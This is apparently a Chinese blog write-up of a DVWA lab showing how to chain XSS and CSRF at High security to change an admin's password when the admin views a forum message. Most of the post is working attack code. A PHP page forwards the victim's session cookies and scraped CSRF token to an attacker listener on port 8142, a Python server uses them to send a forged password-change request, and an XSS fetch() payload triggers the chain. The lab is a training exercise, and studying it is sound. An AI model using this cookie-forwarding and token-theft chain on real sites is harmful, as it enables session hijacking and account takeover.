【XSS & CSRF 】访问时篡改密码——以DVWA-High为例

【XSS & CSRF 】泄露cookie——以DVWA-High为例-CSDN博客第一阶段


目录

前言

一、场景想定

二、过程步骤

1.High等级下的CSRF利用

2.XSS+CSRF实现页面访问后密码被修改

三、最终利用——cookie可变下的admin密码修改

1.cookie可变

2.利用过程

总结 


前言

第二阶段,增加了一个CSRF-Token 。关于XSS的利用,cookie的泄露,在上述博客中已很清晰地说明白了~


一、场景想定

攻击者Bob在论坛发送信息

当用户Admin访问查看(或点击)Bob发送地消息时,密码可被Bob任意指定修改。

二、过程步骤

1.High等级下的CSRF利用

每次修改密码时,将各个参数放在get参数发起请求

http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change&user_token=331eed9528723806d29513c3bc84c1bd#

前三者都是完全透明的,而第三者是需要user_token即csrf_token,每次都在变化

实际上,查看网页源代码,可以发现下一次请求时需要拼接的合法csrf_token

下一次请求时: 

http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change&user_token=9d82305d7841188b6f61137bf212774a#

2.XSS+CSRF实现页面访问后密码被修改

自动地构造并发送上述请求,即可实现利用。最大的困难其实很明显:如何获取合法user_token

通过上述网页源码地的方式,可以如下实现:访问 http://127.0.0.1/DVWA-master/vulnerabilities/csrf/ 页面,从请求返回的html中可拿到下一次csrf_token

chat一个php

<?php
// 目标URL
$url = 'http://127.0.0.1/DVWA-master/111';

// 初始化一个 cURL 对象
$ch = curl_init();

// 设置 cURL 选项
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

// 执行 cURL 请求,获取返回的 HTML 代码
$response = curl_exec($ch);

// 关闭 cURL 资源
curl_close($ch);

// 如果成功获取到 HTML 代码,则发送 POST 请求
if ($response) {
    $postData = [
        'html_code' => $response
    ];

    $postUrl = 'http://127.0.0.1:8142';

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $postUrl);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($postData));

    // 执行 POST 请求
    $postResponse = curl_exec($ch);

    // 关闭 cURL 资源
    curl_close($ch);

    // 输出 POST 请求的返回结果
    echo $postResponse;
} else {
    echo 'Failed to retrieve HTML code';
}
?>

 chat一个接收request的python http server

import re
import urllib.parse
import http.client
import sys
from http.server import BaseHTTPRequestHandler, HTTPServer

# 创建一个自定义的请求处理类
class RequestHandler(BaseHTTPRequestHandler):
    
    # 处理 POST 请求
    def do_POST(self):
        content_length = int(self.headers['Content-Length'])
        post_data = self.rfile.read(content_length)
        
        # 解码 URL 编码的数据
        decoded_data = urllib.parse.unquote(post_data.decode('utf-8'))
        
        # 使用正则表达式匹配 value 值
        pattern = r"value='(\w+)'"
        matches = re.findall(pattern, decoded_data)

        if matches:
            user_token = matches[0]
            print("提取出的 user_token 值:", user_token)
        else:
            print("未找到匹配的 value 字段")
        
        # 回显提取出的 user_token 值
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()
        self.wfile.write(user_token.encode('utf-8'))
        
        print("[+]eceived POST request:")
        print("[+]user_token:", user_token)

        # 在命令行接收用户输入的 new_password
        new_password = input("请输入新密码 new_password: ")

        # 构造访问网页的 URL
        url = f"/DVWA-master/vulnerabilities/csrf/?password_new={new_password}&password_conf={new_password}&Change=Change&user_token={user_token}"
        print(f'[+]构造请求如下:http://127.0.0.1{url}')
        # 发送请求访问网页
        conn = http.client.HTTPConnection("127.0.0.1")
        conn.request("GET", url)
        print("[+]更改密码请求已发送")

# 主函数
def run(server_class=HTTPServer, handler_class=RequestHandler, port=8142):
    server_address = ('', port)
    httpd = server_class(server_address, handler_class)
    print(f'Starting HTTP server on port {port}...')
    httpd.serve_forever()

# 运行 HTTP 服务器
run()

然鹅有些问题——每一次的user_token都是一样的猜测是因为没有携带cookie,每次都是全新的请求。

做实验嘛一步步来,先写死cookie试试

<?php
// 目标URL
$url = 'http://127.0.0.1/DVWA-master/vulnerabilities/csrf';

// 初始化一个 cURL 对象
$ch = curl_init();

$requestCookieString = 'PHPSESSID=h61cr76dts84lurand2pocqjce; security=high';
// 设置请求头,包含接收到的 Cookie
$requestHeaders = array(
    'Cookie: ' . $requestCookieString // 将接收到的所有 Cookie 添加到请求头中
);


// 输出Cookie值到页面
echo "Cookie值: " . $requestCookieString . "<br>";
// 设置 cURL 选项
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, $requestHeaders); // 设置请求头
// 执行 cURL 请求,获取返回的 HTML 代码
$response = curl_exec($ch);

// 关闭 cURL 资源
curl_close($ch);

// 如果成功获取到 HTML 代码,则发送 POST 请求
if ($response) {
    $postData = [
        'html_code' => $response
    ];

    $postUrl = 'http://127.0.0.1:8142';

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $postUrl);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($postData));

    // 执行 POST 请求
    $postResponse = curl_exec($ch);

    // 关闭 cURL 资源
    curl_close($ch);

    // 输出 POST 请求的返回结果
    echo $postResponse;
} else {
    echo 'Failed to retrieve HTML code';
}
?>

那么我们做请求的时候,自然也需要cookie

import re
import urllib.parse
import http.client
import sys
from http.server import BaseHTTPRequestHandler, HTTPServer

# 创建一个自定义的请求处理类
class RequestHandler(BaseHTTPRequestHandler):
    
    # 处理 POST 请求
    def do_POST(self):
        content_length = int(self.headers['Content-Length'])
        post_data = self.rfile.read(content_length)
        
        # 解码 URL 编码的数据
        decoded_data = urllib.parse.unquote(post_data.decode('utf-8'))
        
        # 使用正则表达式匹配 value 值
        pattern = r"value='(\w+)'"
        matches = re.findall(pattern, decoded_data)

        if matches:
            user_token = matches[0]
            print("提取出的 user_token 值:", user_token)
        else:
            print("未找到匹配的 value 字段")
        
        # 回显提取出的 user_token 值
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()
        self.wfile.write(user_token.encode('utf-8'))
        
        print("[+]received POST request:")
        print("[+]user_token:", user_token)

        # 在命令行接收用户输入的 new_password
        new_password = input("请输入新密码 new_password: ")

        # 构造访问网页的 URL
        url = f"/DVWA-master/vulnerabilities/csrf/?password_new={new_password}&password_conf={new_password}&Change=Change&user_token={user_token}"
        # 添加Cookie
        headers = {
            'Cookie': 'PHPSESSID=h61cr76dts84lurand2pocqjce; security=high'
        }
        print(f'[+]构造请求如下:http://127.0.0.1{url}')
        # 发送请求访问网页
        conn = http.client.HTTPConnection("127.0.0.1")
        conn.request("GET", url,headers=headers)
        print("[+]更改密码请求已发送")

# 主函数
def run(server_class=HTTPServer, handler_class=RequestHandler, port=8142):
    server_address = ('', port)
    httpd = server_class(server_address, handler_class)
    print(f'Starting HTTP server on port {port}...')
    httpd.serve_forever()

# 运行 HTTP 服务器
run()

 

经过测试,可行(但是cookie写死):

  1. 首先触发xss
  2. bob捎带usr_token发送更改密码请求
  3. 成功修改

 

三、最终利用——cookie可变下的admin密码修改

1.cookie可变

其实很简单,利用第一个实验即可。【XSS & CSRF 】泄露cookie——以DVWA-High为例-CSDN博客

修改XSS触发的CSRF-php页面、以及接收cookie\csrf-token的server.py

...........
$ch = curl_init();

$receivedCookies = $_COOKIE;

$requestCookieString = '';
foreach ($receivedCookies as $name => $value) {
    $requestCookieString .= $name . '=' . $value . '; ';
}

$requestHeaders = array(
    'Cookie: ' . $requestCookieString // 将接收到的所有 Cookie 添加到请求头中
);

...........

if ($response) {
    $postData = [
        'html_code' => $response
    ];

    $postUrl = 'http://127.0.0.1:8142';

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $postUrl);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($postData));
    curl_setopt($ch, CURLOPT_HTTPHEADER, $requestHeaders); // 这里设置请求头,传递cookie
    $postResponse = curl_exec($ch);

    // 关闭 cURL 资源
    curl_close($ch);

    // 输出 POST 请求的返回结果
    echo $postResponse;
} else {
    echo 'Failed to retrieve HTML code';
}
?>
...........
    def do_POST(self):
		........
        # 获取请求头中的Cookie
        cookie_header = self.headers.get('Cookie')
        if cookie_header:
            print("[+]接收到的 Cookie:", cookie_header)
        else:
            print("[!]未找到接收到的 Cookie")
		........
        # 使用接收到的Cookie
        headers = {
            'Cookie': cookie_header,
        }
		........
        conn.request("GET", url, headers=headers)
	    ........

2.利用过程

<input onclick="fetch('http://127.0.0.1/combine_cookie_token.php');">

 


总结

从一开始无法利用,到思考需要的条件,一步步实现,对CSRF、XSS的理解更深了。

唯一觉得遗憾的是,chat强大、解放编写代码门槛的同时,也让我编码能力——程序员的核心能力——迟滞不前甚至降低许多。。。唉

  • 36
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值